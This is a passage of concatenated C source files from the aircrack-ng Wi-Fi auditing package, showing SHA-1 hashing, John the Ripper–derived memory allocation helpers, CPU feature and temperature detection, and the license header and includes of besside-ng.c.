D; ctx->h4 += E; } void blk_SHA1_Init(blk_SHA_CTX *ctx) { ctx->size = 0; /* Initialize H with the magic constants (see FIPS180 for constants) */ ctx->h0 = 0x67452301; ctx->h1 = 0xefcdab89; ctx->h2 = 0x98badcfe; ctx->h3 = 0x10325476; ctx->h4 = 0xc3d2e1f0; } void blk_SHA1_Update(blk_SHA_CTX *ctx, const void *data, unsigned long len) { unsigned int lenW = ctx->size & 63; ctx->size += len; /* Read the data into W and process blocks as they get full */ if (lenW) { unsigned int left = 64 - lenW; if (len < left) left = len; memcpy(lenW + (char *)ctx->W, data, left); lenW = (lenW + left) & 63; len -= left; data = ((const char *)data + left); if (lenW) return; blk_SHA1_Block(ctx, ctx->W); } while (len >= 64) { blk_SHA1_Block(ctx, data); data = ((const char *)data + 64); len -= 64; } if (len) memcpy(ctx->W, data, len); } void blk_SHA1_Final(unsigned char hashout[20], blk_SHA_CTX *ctx) { static const unsigned char pad[64] = { 0x80 }; unsigned int padlen[2]; int i; /* Pad with a binary 1 (ie 0x80), then zeroes, then length */ padlen[0] = htonl((uint32_t)(ctx->size >> 29)); padlen[1] = htonl((uint32_t)(ctx->size << 3)); i = ctx->size & 63; blk_SHA1_Update(ctx, pad, 1+ (63 & (55 - i))); blk_SHA1_Update(ctx, padlen, 8); /* Output hash */ put_be32(hashout + 0*4, ctx->h0); put_be32(hashout + 1*4, ctx->h1); put_be32(hashout + 2*4, ctx->h2); put_be32(hashout + 3*4, ctx->h3); put_be32(hashout + 4*4, ctx->h4); } #define _SHA1_GIT #endif aircrack-ng-1.2-rc4/src/memory.c0000644000000000000000000004563412640667310015205 0ustar rootroot/* * Based on John the Ripper and modified to integrate with aircrack * * John the Ripper copyright and license. * * John the Ripper password cracker, * Copyright (c) 1996-2013 by Solar Designer. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * As a special exception to the GNU General Public License terms, * permission is hereby granted to link the code of this program, with or * without modification, with any version of the OpenSSL library and/or any * version of unRAR, and to distribute such linked combinations. You must * obey the GNU GPL in all respects for all of the code used other than * OpenSSL and unRAR. If you modify this program, you may extend this * exception to your version of the program, but you are not obligated to * do so. (In other words, you may release your derived work under pure * GNU GPL version 2 or later as published by the FSF.) * * (This exception from the GNU GPL is not required for the core tree of * John the Ripper, but arguably it is required for -jumbo.) * * Relaxed terms for certain components. * * In addition or alternatively to the license above, many components are * available to you under more relaxed terms (most commonly under cut-down * BSD license) as specified in the corresponding source files. * * For more information on John the Ripper licensing please visit: * * http://www.openwall.com/john/doc/LICENSE.shtml * * This file is part of John the Ripper password cracker, * Copyright (c) 1996-98,2010,2012 by Solar Designer * * Redistribution and use in source and binary forms, with or without * modification, are permitted. * * There's ABSOLUTELY NO WARRANTY, express or implied. */ #include #include #include #include #include /* for isprint() */ #if HAVE_MEMALIGN && HAVE_MALLOC_H #include #endif #include "arch.h" #include "misc.h" #include "memory.h" #include "common.h" #include "johnswap.h" #include "memdbg.h" #if defined (_MSC_VER) && !defined (MEMDBG_ON) #define malloc(a) _aligned_malloc(a,16) #define realloc(a,b) _aligned_realloc(a,b,16) #define calloc(a,b) memset(_aligned_malloc(a*b,16),0,a*b) #define free(a) _aligned_free(a) char *strdup_MSVC(const char *str) { char * s; s = (char*)mem_alloc_func(strlen(str)+1); if (s != NULL) strcpy(s, str); return s; } #endif unsigned int mem_saving_level = 0; // Add 'cleanup' methods for the mem_alloc_tiny. VERY little cost, but // allows us to check for mem leaks easier. struct rm_list { void *mem; struct rm_list *next; }; static struct rm_list *mem_alloc_tiny_memory; static void add_memory_link(void *v) { struct rm_list *p = (struct rm_list *)mem_alloc(sizeof(struct rm_list)); p->next = mem_alloc_tiny_memory; p->mem = v; mem_alloc_tiny_memory = p; // mark these as 'tiny' memory, so that memory snapshot checking does not // flag these as leaks. At program exit, this memory will still get checked, // but it should be freed, so will still be globally checked for leaks. MEMDBG_tag_mem_from_alloc_tiny(v); MEMDBG_tag_mem_from_alloc_tiny((void*)p); } // call at program exit. void cleanup_tiny_memory() { struct rm_list *p = mem_alloc_tiny_memory, *p2; for (;;) { if (!p) return; free(p->mem); p2 = p->next; free(p); p = p2; } } void *mem_alloc_func(size_t size #if defined (MEMDBG_ON) , char *file, int line #endif ) { void *res; if (!size) return NULL; #if defined (MEMDBG_ON) res = (char*) MEMDBG_alloc(size, file, line); #else res = malloc(size); #endif if (!res) { fprintf(stderr, "mem_alloc(): %s trying to allocate "Zu" bytes\n", strerror(ENOMEM), size); MEMDBG_PROGRAM_EXIT_CHECKS(stderr); perror("mem_alloc"); } return res; } void *mem_calloc_func(size_t count, size_t size #if defined (MEMDBG_ON) , char *file, int line #endif ) { void *res; if (!count || !size) return NULL; #if defined (MEMDBG_ON) size *= count; res = (char*) MEMDBG_alloc(size, file, line); memset(res, 0, size); #else res = calloc(count, size); #endif if (!res) { fprintf(stderr, "mem_calloc(): %s trying to allocate "Zu" bytes\n", strerror(ENOMEM), count * size); MEMDBG_PROGRAM_EXIT_CHECKS(stderr); perror("mem_calloc"); } return res; } /* * if -DDEBUG we turn mem_alloc_tiny() to essentially be just a malloc() * with additional alignment. The reason for this is it's way easier to * trace bugs that way. * Also, with -DDEBUG or -DMEMDBG we always return exactly the requested * alignment, in order to trigger bugs! */ #ifdef DEBUG #undef MEM_ALLOC_SIZE #define MEM_ALLOC_SIZE 0 #endif void *mem_alloc_tiny_func(size_t size, size_t align #if defined (MEMDBG_ON) , char *file, int line #endif ) { static char *buffer = NULL; static size_t bufree = 0; size_t mask; char *p; #if defined(DEBUG) || defined(MEMDBG) size += align; #endif #ifdef DEBUG /* * We may be called with size zero, for example from ldr_load_pw_line() * that calls mem_alloc_copy() with format->params.salt_size as size. * This causes problems with -DDEBUG without this fix because we never * get out of the while loop when MEM_ALLOC_SIZE is zero too. The * previous fix for this was returning NULL but that lead to other * problems that I did not bother digging into. This fix should be * 100% safe. */ if (size == 0) size = 1; #endif #if ARCH_ALLOWS_UNALIGNED if (mem_saving_level > 2 && align < MEM_ALIGN_SIMD) align = MEM_ALIGN_NONE; #endif mask = align - 1; do { if (buffer) { size_t need = size + mask - (((size_t)buffer + mask) & mask); if (bufree >= need) { p = buffer; p += mask; p -= (size_t)p & mask; bufree -= need; buffer = p + size; #if defined(DEBUG) || defined(MEMDBG) /* Ensure alignment is no better than requested */ if (((size_t)p & ((mask << 1) + 1)) == 0) p += align; #endif return p; } } if (size + mask > MEM_ALLOC_SIZE || bufree > MEM_ALLOC_MAX_WASTE) break; #if defined (MEMDBG_ON) buffer = (char*)mem_alloc_func(MEM_ALLOC_SIZE, file, line); #else buffer = (char*)mem_alloc(MEM_ALLOC_SIZE); #endif add_memory_link((void*)buffer); bufree = MEM_ALLOC_SIZE; } while (1); #if defined (MEMDBG_ON) p = (char*)mem_alloc_func(size + mask, file, line); #else p = (char*)mem_alloc(size + mask); #endif add_memory_link((void*)p); p += mask; p -= (size_t)p & mask; #if defined(DEBUG) || defined(MEMDBG) /* Ensure alignment is no better than requested */ if (((size_t)p & ((mask << 1) + 1)) == 0) p += align; #endif return p; } void *mem_calloc_tiny_func(size_t size, size_t align #if defined (MEMDBG_ON) , char *file, int line #endif ) { #if defined (MEMDBG_ON) char *cp = (char*)mem_alloc_tiny_func(size, align, file, line); #else char *cp = (char*) mem_alloc_tiny(size, align); #endif memset(cp, 0, size); return cp; } void *mem_alloc_copy_func(void *src, size_t size, size_t align #if defined (MEMDBG_ON) , char *file, int line #endif ) { #if defined (MEMDBG_ON) return memcpy(mem_alloc_tiny_func(size, align, file, line), src, size); #else return memcpy(mem_alloc_tiny(size, align), src, size); #endif } void *mem_alloc_align_func(size_t size, size_t align #if defined (MEMDBG_ON) , char *file, int line #endif ) { void *ptr = NULL; #if defined (MEMDBG_ON) ptr = (char*) MEMDBG_alloc_align(size, align, file, line); #elif HAVE_POSIX_MEMALIGN if (posix_memalign(&ptr, align, size)) pexit("posix_memalign"); #elif HAVE_ALIGNED_ALLOC /* According to the Linux man page, "size should be a multiple of alignment", whatever they mean with "should"... This does not make any sense whatsoever but we round it up to comply. */ size = ((size + (align - 1)) / align) * align; if (!(ptr = aligned_alloc(align, size))) pexit("aligned_alloc"); #elif HAVE_MEMALIGN /* Let's just pray this implementation can actually free it */ #if defined(__sparc__) || defined(__sparc) || defined(sparc) || defined(__sparcv9) if (!(ptr = memalign(align, size))) #else if (!(ptr = memalign(&ptr, align, size))) #endif perror("memalign"); #elif HAVE___MINGW_ALIGNED_MALLOC if (!(ptr = __mingw_aligned_malloc(size, align))) perror("__mingw_aligned_malloc"); #elif HAVE__ALIGNED_MALLOC if (!(ptr = _aligned_malloc(size, align))) perror("aligned_malloc"); #elif AC_BUILT #error No suitable alligned alloc found, please report to john-dev mailing list (state your OS details). /* we need an aligned alloc function for legacy builds */ #elif _ISOC11_SOURCE size = ((size + (align - 1)) / align) * align; if (!(ptr = aligned_alloc(align, size))) perror("aligned_alloc"); #else if (posix_memalign(&ptr, align, size)) perror("posix_memalign"); #endif return ptr; } void *mem_calloc_align_func(size_t count, size_t size, size_t align #if defined (MEMDBG_ON) , char *file, int line #endif ) { #if defined (MEMDBG_ON) void *ptr = mem_alloc_align_func(size * count, align, file, line); #else void *ptr = mem_alloc_align_func(size * count, align); #endif memset(ptr, 0, size * count); return ptr; } char *str_alloc_copy_func(char *src #if defined (MEMDBG_ON) , char *file, int line #endif ) { size_t size; if (!src) return ""; if (!*src) return ""; size = strlen(src) + 1; #if defined (MEMDBG_ON) return (char *)memcpy(mem_alloc_tiny_func(size, MEM_ALIGN_NONE, file, line), src, size); #else return (char *)memcpy(mem_alloc_tiny(size, MEM_ALIGN_NONE), src, size); #endif } void dump_text(void *in, int len) { unsigned char *p = (unsigned char*)in; while (len--) { fputc(isprint(*p) ? *p : '.', stdout); p++; } fputc('\n', stdout); } void dump_stuff_noeol(void *x, unsigned int size) { unsigned int i; for(i=0;i>=2; #if !ARCH_ALLOWS_UNALIGNED if (is_aligned(x, sizeof(ARCH_WORD_32))) { #endif while (size--) { *x = JOHNSWAP(*x); x++; } #if !ARCH_ALLOWS_UNALIGNED } else { unsigned char *cpX, c; cpX = (unsigned char*)x; while (size--) { c = *cpX; *cpX = cpX[3]; cpX[3] = c; c = cpX[1]; cpX[1] = cpX[2]; cpX[2] = c; cpX += 4; } } #endif } #if defined(SIMD_COEF_32) || defined(NT_X86_64) || defined (SIMD_PARA_MD5) || defined (SIMD_PARA_MD4) || defined (SIMD_PARA_SHA1) #ifndef SIMD_COEF_32 #define SIMD_COEF_32 4 #endif #ifndef SIMD_COEF_64 #define SIMD_COEF_64 2 #endif #ifndef SIMD_COEF_32 #define SIMD_COEF_32 4 #endif // These work for standard SIMD_COEF_32 buffers, AND for SSEi MMX_PARA multiple SIMD_COEF_32 blocks, where index will be mod(X * SIMD_COEF_32) and not simply mod(SIMD_COEF_32) #define SHAGETPOS(i, index) ( (index&(SIMD_COEF_32-1))*4 + ((i)&(0xffffffff-3) )*SIMD_COEF_32 + (3-((i)&3)) + (unsigned int)index/SIMD_COEF_32*SHA_BUF_SIZ*4*SIMD_COEF_32 ) //for endianity conversion #define SHAGETOUTPOS(i, index) ( (index&(SIMD_COEF_32-1))*4 + ((i)&(0xffffffff-3) )*SIMD_COEF_32 + (3-((i)&3)) + (unsigned int)index/SIMD_COEF_32*20*SIMD_COEF_32 ) //for endianity conversion // for MD4/MD5 or any 64 byte LE SSE interleaved hash #define GETPOS(i, index) ( (index&(SIMD_COEF_32-1))*4 + ((i)&(0xffffffff-3) )*SIMD_COEF_32 + ((i)&3) + (unsigned int)index/SIMD_COEF_32*64*SIMD_COEF_32 ) #define GETOUTPOS(i, index) ( (index&(SIMD_COEF_32-1))*4 + ((i)&(0xffffffff-3) )*SIMD_COEF_32 + ((i)&3) + (unsigned int)index/SIMD_COEF_32*16*SIMD_COEF_32 ) // for SHA384/SHA512 128 byte BE interleaved hash (arrays of 16 8 byte ints) #define SHA64GETPOS(i,index) ( (index&(SIMD_COEF_64-1))*8 + ((i)&(0xffffffff-7) )*SIMD_COEF_64 + (7-((i)&7)) + (unsigned int)index/SIMD_COEF_64*SHA_BUF_SIZ*8*SIMD_COEF_64 ) #define SHA64GETOUTPOS(i,index) ( (index&(SIMD_COEF_64-1))*8 + ((i)&(0xffffffff-7) )*SIMD_COEF_64 + (7-((i)&7)) + (unsigned int)index/SIMD_COEF_64*64*SIMD_COEF_64 ) // for SHA384/SHA512 128 byte FLAT interleaved hash (arrays of 16 8 byte ints), but we do not BE interleave. #define SHA64GETPOSne(i,index) ( (index&(SIMD_COEF_64-1))*8 + ((i)&(0xffffffff-7) )*SIMD_COEF_64 + ((i)&7) + (unsigned int)index/SIMD_COEF_64*SHA_BUF_SIZ*8*SIMD_COEF_64 ) void dump_stuff_mmx_noeol(void *buf, unsigned int size, unsigned int index) { unsigned int i; for(i=0;i * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * */ #define _GNU_SOURCE #include #include #include #include #include #include #if defined(__i386__) || defined(__x86_64__) #define _X86 1 #include #elif defined(__arm__) #ifdef HAS_AUXV #include #include #endif #endif /* __arm__ */ #ifdef __linux__ #include #include #include #endif #if defined(__FreeBSD__) || defined(__OpenBSD__) #include #include #endif #include #include "aircrack-ng.h" #ifdef __linux__ #define CPUFREQ_CPU0C "/sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq" #define CPUFREQ_CPU0M "/sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq" #define CORETEMP_PATH "/sys/devices/platform/coretemp.0/" int cpuid_readsysfs(const char *file); int cpuid_findcpusensorpath(const char *path); #endif struct _cpuinfo cpuinfo = { 0, NULL, NULL, 0, 0, 0, 0, 0, 0, 0, 0.0, NULL }; // // Until better support for other arch's is added an ifdef is needed // unsigned long getRegister(const unsigned int val, const char from, const char to) { unsigned long mask = (1<<(to+1)) - 1; if (to == 31) return val >> from; return (val & mask) >> from; } void sprintcat(char *dest, const char *src, size_t len) { if (strlen(dest)) (void)strncat(dest, ",", len); (void)strncat(dest, src, len); } int is_dir(const char *dir) { struct stat sb; if (!stat(dir, &sb)) return S_ISDIR(sb.st_mode); return 0; } unsigned long GetCacheTotalLize(unsigned ebx, unsigned ecx) { unsigned long LnSz, SectorSz, WaySz, SetSz; LnSz = getRegister(ebx, 0, 11 ) + 1; SectorSz = getRegister(ebx, 12, 21 ) + 1; WaySz = getRegister(ebx, 22, 31 ) + 1; SetSz = getRegister(ecx, 0, 31 ) + 1; return (SetSz*WaySz*SectorSz*LnSz); } // // Return maximum SIMD size for the CPU. // AVX2 = 8 / 256 bit // SSE2-4.2 + AVX / NEON = 4 / 128 bit // MMX / CPU Fallback = 1 / 64 bit // int cpuid_simdsize(int viewmax) { #ifdef _X86 unsigned eax = 0, ebx = 0, ecx = 0, edx = 0; unsigned int max_level = __get_cpuid_max(0, NULL); if (max_level >= 7) { __cpuid_count(7, 0, eax, ebx, ecx, edx); if (ebx & (1 << 5)) { // AVX2 #ifndef JOHN_AVX2 // If we're not compiled for AVX2, and we're simply displaying CPU capabilities // return the maximum the processor supports, otherwise fallback to avoid // a performance regression from overfilling the buffers. if (viewmax == 1) #endif return 8; } } __cpuid(1, eax, ebx, ecx, edx); if (edx & (1 << 26)) // SSE2 return 4; #elif defined(__arm__) && defined(HAS_AUXV) long hwcaps = getauxval(AT_HWCAP); if (hwcaps & (1 << 12)) // NEON return 4; #endif (void)viewmax; // MMX or CPU Fallback return 1; } #ifdef _X86 char* cpuid_vendor() { unsigned eax = 0, ebx = 0, ecx = 0, edx = 0; __cpuid(0, eax, ebx, ecx, edx); if ((ebx == 0x756E6547) && (edx == 0x49656E69)) return "Intel"; else if ((ebx == 0x68747541) || (ebx == 0x69444D41)) return "AMD"; else if (ebx == 0x746E6543) return "Centaur (VIA)"; else if (ebx == 0x69727943) return "Cyrix"; else if ((ebx == 0x6E617254) || ((ebx == 0x756E6547) && (edx == 0x54656E69))) return "Transmeta"; else if (ebx == 0x646F6547) return "Geode by NSC (AMD)"; else if (ebx == 0x4778654E) return "NexGen"; else if (ebx == 0x65736952) return "Rise"; else if (ebx == 0x20536953) return "SiS"; else if (ebx == 0x20434D55) return "UMC"; else if (ebx == 0x20414956) return "VIA"; else if (ebx == 0x74726F56) return "Vortex86 SoC"; else if (ebx == 0x4B4D564B) return "KVM (Virtual Machine)"; else if (ebx == 0x7263694D) return "Microsoft Hyper-V or Virtual PC"; else if (ebx == 0x70726C20) return "Parallels (Virtual Machine)"; else if (ebx == 0x61774D56) return "VMware"; else if (ebx == 0x566E6558) return "Xen HVM (Virtual Machine)"; return "Unknown CPU"; } #endif char* cpuid_featureflags() { char flags[64] = {0}; #ifdef _X86 unsigned eax = 0, ebx = 0, ecx = 0, edx = 0; unsigned int max_level = __get_cpuid_max(0, NULL); __cpuid(1, eax, ebx, ecx, edx); if (edx & (1 << 23)) sprintcat((char *)&flags, "MMX", sizeof(flags)); if (edx & (1 << 25)) sprintcat((char *)&flags, "SSE", sizeof(flags)); if (edx & (1 << 26)) sprintcat((char *)&flags, "SSE2", sizeof(flags)); if (ecx & (1 << 0)) sprintcat((char *)&flags, "SSE3", sizeof(flags)); if (ecx & (1 << 9)) sprintcat((char *)&flags, "SSSE3", sizeof(flags)); if (ecx & (1 << 19)) sprintcat((char *)&flags, "SSE4.1", sizeof(flags)); if (ecx & (1 << 20)) sprintcat((char *)&flags, "SSE4.2", sizeof(flags)); if (ecx & (1 << 25)) sprintcat((char *)&flags, "AES-NI", sizeof(flags)); // Don't set this if we got it from a higher topology previously. if (cpuinfo.maxlogic == 0) // Maximum addressable logical CPUs per pkg/socket. cpuinfo.maxlogic = (ebx >> 16) & 0xFF; if (edx & (1 << 28)) // Hyper-threading cpuinfo.htt = 1; if (ecx & (1 << 28)) // AVX sprintcat((char *)&flags, "AVX", sizeof(flags)); if (ecx & (1 << 31)) // Hypervisor cpuinfo.hv = 1; if (max_level >= 7) { __cpuid_count(7, 0, eax, ebx, ecx, edx); if (ebx & (1 << 5)) // AVX2 sprintcat((char *)&flags, "AVX2", sizeof(flags)); } #elif defined(__arm__) && defined(HAS_AUXV) long hwcaps = getauxval(AT_HWCAP); if (hwcaps & (1 << 12)) sprintcat((char *)&flags, "NEON", sizeof(flags)); if (hwcaps & (1 << 1)) sprintcat((char *)&flags, "HALF", sizeof(flags)); if (hwcaps & (1 << 2)) sprintcat((char *)&flags, "THUMB", sizeof(flags)); if (hwcaps & (1 << 11)) sprintcat((char *)&flags, "THUMBEE", sizeof(flags)); if (hwcaps & (1 << 6)) sprintcat((char *)&flags, "VFP", sizeof(flags)); if ((hwcaps & (1 << 13)) || (hwcaps & (1 << 14))) sprintcat((char *)&flags, "VFPv3", sizeof(flags)); if (hwcaps & (1 << 16)) sprintcat((char *)&flags, "VFPv4", sizeof(flags)); if (hwcaps & (1 << 15)) sprintcat((char *)&flags, "TLS", sizeof(flags)); if (hwcaps & (1 << 10)) sprintcat((char *)&flags, "CRUNCH", sizeof(flags)); if (hwcaps & (1 << 9)) sprintcat((char *)&flags, "iwMMXt", sizeof(flags)); if ((hwcaps & (1 << 17)) || (hwcaps & (1 << 18))) sprintcat((char *)&flags, "IDIV", sizeof(flags)); #endif return strdup(flags); } float cpuid_getcoretemp() { #ifdef __FreeBSD__ int tempval = 0; size_t len = sizeof(tempval); if (sysctlbyname("dev.cpu.0.temperature", &tempval, &len, NULL, 0) == -1) return 0; cpuinfo.coretemp = (tempval-2732)/10; #elif __linux__ if (cpuinfo.cputemppath != NULL) { cpuinfo.coretemp = cpuid_readsysfs((const char *)cpuinfo.cputemppath)/1000; } #else return 0; #endif return cpuinfo.coretemp; } #ifdef __linux__ // // Locate the primary temp input on the coretemp sysfs // int cpuid_findcpusensorpath(const char *path) { DIR *dirp; struct dirent *dp; char tbuf[16][32] = {{0}}; int cnt = 0, i = 0, sensorx = 0; char sensor[8] = {0}; dirp = opendir(path); if (dirp == NULL) return -1; snprintf(sensor, sizeof(sensor), "temp%d", sensorx); while ((dp = readdir(dirp)) != NULL) { if (!strncmp(dp->d_name, sensor, 5)) { (void)closedir(dirp); asprintf(&cpuinfo.cputemppath, "%stemp%d_input", CORETEMP_PATH, sensorx); return sensorx; } else if (!strncmp(dp->d_name, "temp", 4)) sprintf(tbuf[cnt++], "%s", dp->d_name); } (void)closedir(dirp); // Hopefully we found the ID on the first pass, but Linux is its infinite wisdom // sometimes starts the sensors at 2-6+ for (sensorx = 1; sensorx < 8; sensorx++) for (i = 0; i < cnt; i++) { snprintf(sensor, sizeof(sensor), "temp%d", sensorx); if (!strncasecmp(tbuf[i], sensor, strlen(sensor))) { asprintf(&cpuinfo.cputemppath, "%stemp%d_input", CORETEMP_PATH, sensorx); return sensorx; } } return -1; } int cpuid_readsysfs(const char *file) { int fd, ival = 0; struct stat sf; char buf[16] = {0}; if (stat(file, &sf)) return -1; fd = open(file, O_RDONLY); if (fd == -1) return -1; if (read(fd, &buf, sizeof(buf))) { ival = atoi(buf); } close(fd); return ival; } // // Return CPU frequency from scaling governor when supported // int cpuid_getfreq(int type) { int fd, ifreq = 0; struct stat sf; char freq[16] = {0}, *fptr; fptr = (type == 1 ? CPUFREQ_CPU0C : CPUFREQ_CPU0M); if (stat(fptr, &sf)) return 0; fd = open(fptr, O_RDONLY); if (fd == -1) return 0; if (read(fd, &freq, sizeof(freq))) ifreq = atoi(freq)/1000; close(fd); return ifreq; } #endif char* cpuid_modelinfo() { #ifdef _X86 unsigned eax = 0, ebx = 0, ecx = 0, edx = 0; int bi = 2, broff = 0; char *tmpmodel = calloc(1, (sizeof(unsigned) * 4) * 5); #elif __linux__ FILE *cfd; char *line = NULL, *token = NULL; size_t linecap = 0; ssize_t linelen; #elif __FreeBSD__ /* ARM support for FreeBSD */ int mib[] = { CTL_HW, HW_MODEL }; char modelbuf[64]; size_t len = sizeof(modelbuf); #endif char *pm = NULL, *model = NULL; #ifdef _X86 if (tmpmodel == NULL) { fprintf(stderr, "ERROR: calloc() failed to allocate memory for cpuid_modelinfo(): %s\n", strerror(errno)); return "Unknown"; } for (; bi < 5; bi++, broff += 16) { __cpuid(0x80000000+bi, eax, ebx, ecx, edx); memcpy(tmpmodel+broff, &eax, sizeof(unsigned)); memcpy(tmpmodel+broff+4, &ebx, sizeof(unsigned)); memcpy(tmpmodel+broff+8, &ecx, sizeof(unsigned)); memcpy(tmpmodel+broff+12, &edx, sizeof(unsigned)); } pm = tmpmodel; #elif __linux__ cfd = fopen("/proc/cpuinfo", "r"); if (cfd == NULL) { fprintf(stderr, "ERROR: Failed opening /proc/cpuinfo: %s\n", strerror(errno)); return "Unknown"; } while ((linelen = getline(&line, &linecap, cfd)) > 0) { if (!strncasecmp(line, "model", 5)) { token = strsep(&line, ":"); token = strsep(&line, ":"); token[strlen(token)-1] = 0; (void)*token++; pm = token; break; } } free(line); line = NULL; fclose(cfd); #elif __FreeBSD__ if (sysctl(mib, 2, modelbuf, &len, NULL, 0)) snprintf(modelbuf,sizeof(modelbuf), "Unknown"); pm = modelbuf; #endif // Clean up the empty spaces in the model name on some intel's because they let their engineers fall asleep on the space bar while (*pm == ' ') { pm++; } model = strdup(pm); #ifdef _X86 free(tmpmodel); tmpmodel = NULL; #endif if (model == NULL) { fprintf(stderr, "ERROR: strdup() failed to allocate memory for cpuid_modelinfo(): %s\n", strerror(errno)); return "Unknown"; } return model; } int cpuid_getinfo() { int cpu_count = get_nb_cpus(); float cpu_temp; #ifdef _X86 unsigned eax = 0, ebx = 0, ecx = 0, edx = 0; unsigned int max_level = __get_cpuid_max(0, NULL); int topologyLevel = 0, topologyType; #ifdef DEBUG int topologyShift; #endif // Attempt higher level topology scan first. do { __cpuid_count(11, topologyLevel, eax, ebx, ecx, edx); // if EBX ==0 then this subleaf is not valid, and the processor doesn't support this. if (ebx == 0) break; topologyType = getRegister(ecx,8,15); #ifdef DEBUG topologyShift = getRegister(eax,0,4); #endif if ((topologyType == 2) && ((int)eax != 0 && (int)ebx != 0)) { cpuinfo.cores = (int)eax; cpuinfo.maxlogic = (int)ebx; } #ifdef DEBUG printf("%u %u %u %u\n",eax,ebx,ecx,edx); printf("type %d, shift = %d\n", topologyType, topologyShift); #endif topologyLevel++; } while (topologyLevel < 5); #ifdef DEBUG __cpuid(1, eax, ebx, ecx, edx); printf("Family: %d", (eax >> 8) & 0xF); printf("\t\tStepping %d\t\t", eax & 0xF); printf("Model %d\n", (eax >> 4) & 0xF); printf("Processor type %d\t", (eax >> 12) & 0x3); printf("Extended model %d\t", (eax >> 16) & 0xF); printf("Extended family %d\n", (eax >> 20) & 0xFF); #endif printf("Vendor = %s\n", cpuid_vendor()); if (max_level >= 4) { __cpuid(4, eax, ebx, ecx, edx); if (topologyLevel == 0) { if (eax >> 26) cpuinfo.coreperid = (eax >> 26) + 1; else // This processor only supports level1 topology. :'( cpuinfo.coreperid = 1; } } else cpuinfo.coreperid = 1; #ifdef DEBUG printf("cpuinfo.coreperid = %d, cpuinfo.cores = %d, maxlogic = %d (tlevel %d)\n", cpuinfo.coreperid, cpuinfo.cores, cpuinfo.maxlogic, topologyLevel); #endif if ((cpuinfo.cores == 0) && (cpuinfo.coreperid != 0)) { // On lower topology processors we have to caclulate the cores from max cores per id (pkg/socket) by max addressable cpuinfo.cores = (cpuinfo.maxlogic / cpuinfo.coreperid); } #endif #ifdef __linux__ cpuid_findcpusensorpath(CORETEMP_PATH); cpuinfo.cpufreq_cur = cpuid_getfreq(1); cpuinfo.cpufreq_max = cpuid_getfreq(2); #endif cpuinfo.model = cpuid_modelinfo(); cpuinfo.flags = cpuid_featureflags(); printf("Model = %s\n", cpuinfo.model); printf("Features = %s\n", cpuinfo.flags); // this shouldn't happen but prepare for the worst. if (cpuinfo.cores == 0) cpuinfo.cores = cpu_count; // If our max logic matches our cores, we don't have HT even if the proc says otherwise. if (cpuinfo.cores == cpuinfo.maxlogic) cpuinfo.htt = 0; #ifdef _X86 printf("Hyper-Threading = %s\n", cpuinfo.htt?"Yes":"No"); #endif if (cpuinfo.hv) printf("Hypervisor = Yes (Virtualization detected)\n"); // This inaccuracy can happen when running under a hypervisor, correct it. if (cpuinfo.cores > cpuinfo.maxlogic) cpuinfo.maxlogic = cpuinfo.cores; if (cpuinfo.cpufreq_cur) printf("CPU frequency = %d MHz (Max: %d MHz)\n", cpuinfo.cpufreq_cur, cpuinfo.cpufreq_max); cpu_temp = cpuid_getcoretemp(); if (cpu_temp != 0.0) printf("CPU temperature = %2.2f C\n", cpu_temp); if (cpuinfo.htt) printf("Logical CPUs = %d\n", cpuinfo.maxlogic); printf("CPU cores = %d", cpuinfo.cores); if (cpuinfo.maxlogic != cpu_count) { if (cpu_count > cpuinfo.maxlogic) printf(" (%d total, %d sockets)", cpu_count, (cpu_count / cpuinfo.maxlogic)); else printf(" (%d total)", cpu_count); } cpuinfo.simdsize = cpuid_simdsize(1); printf("\nSIMD size = %d ", cpuinfo.simdsize); if (cpuinfo.simdsize == 1) printf("(64 bit)\n"); else if (cpuinfo.simdsize == 4) printf("(128 bit)\n"); else printf("(256 bit)\n"); #ifndef JOHN_AVX2 if (cpuinfo.simdsize == 8) { printf("NOTE: Your processor is capable of AVX2 but AVX2 support was not compiled in!\n"); printf("Please send a copy of this output to the aircrack team to improve autodetection.\n"); } #endif free(cpuinfo.flags); cpuinfo.flags = NULL; free(cpuinfo.model); cpuinfo.model = NULL; if (cpuinfo.cputemppath != NULL) { free(cpuinfo.cputemppath); cpuinfo.cputemppath = NULL; } return 0; } aircrack-ng-1.2-rc4/src/besside-ng.c0000644000000000000000000017031112632703601015677 0ustar rootroot/* * Copyright (C) 2010 Andrea Bittau * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef HAVE_PCRE #include #endif #include "aircrack-ng.h" #include "version.h" #include "aircrack-ptw-lib.h" #include "osdep/osdep.h" #include "ieee80211.h" #include "crypto.h" #include "pcap.h" #ifdef UNUSED #elif defined(__GNUC__) # define UNUSED(x) UNUSED_ ## x __attribute__((unused)) #elif defined(__LCLINT__) # define UNUSED(x) /*@unused@*/ x #else # define UNUSED(x) x #endif static unsigned char ZERO[32] = 